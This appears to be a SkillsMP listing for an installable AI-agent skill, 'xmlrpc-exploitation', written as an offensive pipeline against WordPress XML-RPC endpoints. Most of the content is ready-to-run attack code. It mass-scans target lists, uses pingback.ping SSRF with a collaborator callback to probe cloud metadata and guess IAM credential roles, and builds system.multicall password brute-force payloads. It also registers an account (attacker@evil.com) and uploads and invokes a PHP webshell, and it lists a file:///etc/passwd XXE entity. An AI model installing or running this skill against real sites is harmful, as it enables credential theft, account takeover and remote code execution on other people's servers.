用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/uphiago/recon-skills --skill xmlrpc-exploitation命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | xmlrpc-exploitation |
| description | Exploit XMLRPC multicall, pingback for brute force and SSRF. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["recon","xmlrpc","wordpress","brute-force","SSRF","RCE"] |
| category | recon |
| related_skills | ["wp-mass-recon","cors-credential-wordpress","phpinfo-to-rce","cross-attack-chains","wordpress-full-compromise","port-service-discovery","error-log-mining"] |
5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via pingback.ping, amplified brute force via system.multicall (1000x amplification), and RCE via wp.uploadFile when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon.
wp-mass-recon detected XMLRPC returning HTTP 200 on POST.pingback.ping to cloud metadata endpoints.terminal with curl./xmlrpc.php returns 200 on POST with demo.sayHello).# Phase 1: Bulk detection on target list
while read -r domain; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>')
[[ "$code" == "200" ]] && echo "OPEN: $domain"
sleep 0.3
done < targets.txt
# Phase 2: Deep method enumeration
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
| Method | Capability | Severity |
|---|---|---|
demo.sayHello | Confirms XMLRPC is alive | Info |
system.listMethods | Enumerate all available methods | Info |
system.multicall | Execute multiple methods in ONE request | Critical — 1000x brute force amplification |
pingback.ping | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS |
wp.getUsers | Enumerate WordPress users | Medium |
wp.getPosts | List published posts | Low |
wp.uploadFile | Upload file to media library | Critical — webshell when combined with open reg |
wp.getOptions | Read WordPress options (siteurl, admin_email) | Medium |
wp.getPostStatusList | Get post statuses | Low |
#!/bin/bash
# Input: domains.txt (one domain per line)
# Output: xmlrpc_open.txt
echo "domain,code,hello" > xmlrpc_open.csv
while read -r domain; do
resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null)
if echo "$resp" | grep -q "Hello"; then
echo "$domain,200,yes" >> xmlrpc_open.csv
echo "[OPEN] $domain"
fi
done < targets.txt
TARGET="$1"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-H "Accept-Encoding: identity" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| python3 -c "
import sys, re
print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read())))
" | sort
Key methods to look for: system.multicall, pingback.ping, wp.uploadFile, wp.getUsers, wp.getOptions.
TARGET="$1"
CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net"
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>$CALLBACK</string></value></param>
<param><value><string>https://$TARGET/?p=1</string></value></param>
</params>
</methodCall>"
If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include Accept-Encoding: identity to avoid LiteSpeed gzip):
# AWS IMDSv1
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>'
# IMDS role guessing — 14 confirmed role names (wave7_invade.py)
ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role"
"EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly"
"webserver-role" "app-role" "default")
for role in "${ROLES[@]}"; do
result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param>
<param><value><string>https://TARGET/?p=1</string></value></param>
</params>
</methodCall>" 2>/dev/null)
fc=$(echo "$result" | python3 -c "
import sys, re
fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read())
print(fc.group(1) if fc else 'no-fault')
")
echo " role=$role -> faultCode ${fc:-no-fault}"
sleep 0.5
done
faultCode 0 on a pingback to an internal address confirms the request reached the target. faultCode 17 or 32 means blocked or unreachable.
When pingback.ping returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use timing differences to extract data character-by-character or enumerate IAM roles.
How it works: The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE.
IAM Role Enumeration:
import subprocess, time
TARGET = "target.com"
def ssrf_time(url):
xml = f'''<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value><string>{url}</string></value></param>
<param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param>
</params></methodCall>'''
start = time.perf_counter()
subprocess.run(["curl", "-sk", "-X", "POST",
f"https://{TARGET}/xmlrpc.php",
"-H", "Content-Type: text/xml", "-d", xml],
capture_output=True, timeout=15)
return time.perf_counter() - start
# Baseline — IMDS root response time
baseline = ssrf_time("http://192.0.2.1/latest/meta-data/")
print(f"[baseline] IMDS root: {baseline:.3f}s")
# Enumerate IAM roles — existing roles return JSON (slower)
roles = ["admin","ec2","s3","lambda","code-deploy","ecs",
"SSM-Role","EC2Role","webserver-role","app-role"]
for role in roles:
t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}")
exists = "FOUND" if t > baseline * 1.15 else "404"
print(f" {role}: {t:.3f}s -> {exists}")
From field (retail.example.com, June 2026):
/meta-data/: 344ms (large response — list of paths)/iam/security-credentials/: 435ms (very large — IAM role listing)/instance-id: 301ms (small — short string)Pitfall: Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable.
system.multicall allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ wp.getUsers calls with different credentials, giving 1000x amplification over sequential requests.
TARGET="$1"
USERNAME="admin"
WORDLIST="./tools/passwords.txt"
# Build multicall XML with 100 passwords per request
python3 -c "
import sys
passwords = open('$WORDLIST').read().splitlines()[:100]
xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>'
for pw in passwords:
xml += f'''<value><struct>
<member><name>methodName</name><value><string>wp.getUsers</string></value></member>
<member><name>params</name><value><array><data>
<value><string>{pw}</string></value>
</data></array></value></member>
</struct></value>'''
xml += '</data></array></value></param></params></methodCall>'
print(xml)
" > /tmp/multicall_payload.xml
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d @/tmp/multicall_payload.xml
A successful auth in the response will show user data instead of faultCode 403.
If the target has open registration AND XMLRPC with wp.uploadFile:
TARGET="$1"
# Step 1: Register user
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \
-d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register"
# Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default
# Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject
ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\"1.0\"?>
<methodCall><methodName>wp.getProfile</methodName>
<params><param><value><int>1</int></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param></params></methodCall>")
if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then
echo "UPLOAD VIABLE: role is author+"
elif echo "$ROLE_CHECK" | grep -q "subscriber"; then
echo "SUBSCRIBER - upload blocked. Need escalation first:"
echo " a) Brute force admin (system.multicall 1000 pwd/req)"
echo " b) ElementsKit CVE-2023-6853 (get nonce from profile.php)"
echo " c) Check if default role changed by plugin"
exit 1
fi
# Step 3: Upload PHP webshell via XMLRPC
WEBSHELL_B64=$(echo '<?php system($_GET["cmd"]); ?>' | base64 | tr -d '%0A%0D')
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \
-H "Content-Type: text/xml" \
-d "<?xml version=\\\"1.0\\\"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>attackusr</string></value></param>
<param><value><string>password123</string></value></param>
<param><value><struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>application/x-php</string></value></member>
<member><name>bits</name><value><base64>$WEBSHELL_B64</base64></value></member>
</struct></value></param>
</params>
</methodCall>"
# Step 4: Access webshell
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/wp-content/uploads/$(date +%Y/%m)/shell.php?cmd=id"
Test the original XML-RPC URL without following redirects, then inspect any redirect target separately. Redirect-following can replace a protocol response with an HTML page and create a false regression. A change in status code is not enough to classify the endpoint; require a protocol-valid response body or the expected controlled callback.
re.search(r'faultCode[^0-9]*([0-9]+)', r.text) to reliably extract fault codes. faultCode 0 = accepted, faultCode 17 = URL not found, faultCode 32 = blocked/error.system.listMethods but return faultCode on actual use. Test with a single call before building multi-call payloads.-L) can hide XML-RPC POST responses. Capture the
original response without -L; investigate redirects as separate endpoints.isAdmin, blogid, or blogName strings. Use smaller batch sizes (50 passwords/request instead of 100).-P. Minimal environments may provide BusyBox grep,
which does not support Perl-compatible regular expressions. Use grep -oE
or Python for complex matching.isAdmin, blogid, or blogName — not just absence of faultCode 403. Check for ALL three keywords.-H "Accept-Encoding: identity" to curl, or pipe through Python gunzip. Without this, grep finds no faultCodes in the compressed binary.wp.getProfile before attempting upload. If subscriber, escalate (brute force admin, plugin CVE, or app passwords).\n- Mailinator password reset flow. WordPress registration sends a reset LINK (not password). You must: (1) read Mailinator inbox to extract the key=... from the URL, (2) GET the reset page to get wp-resetpass-* cookie, (3) POST new password. The rp_key parameter from the email URL is required — the HTML form may not auto-fill it.<!ENTITY xxe SYSTEM "file:///etc/passwd"> as bonus vector.X-aws-ec2-metadata-token header (PUT to /latest/api/token). Pingback SSRF can only set the URL target, not headers. IMDSv1 is the attack surface.demo.sayHello MUST return Hello! in the response body to confirm XMLRPC is functional.pingback.ping SSRF MUST produce a callback on YOUR controlled server (not just faultCode 0).system.multicall MUST return distinct responses for each embedded method call.id or whoami output from the uploaded webshell.faultCode 0 on a role path without a Collaborator callback = UNCONFIRMED — treat as "SSRF possible but needs OOB verification."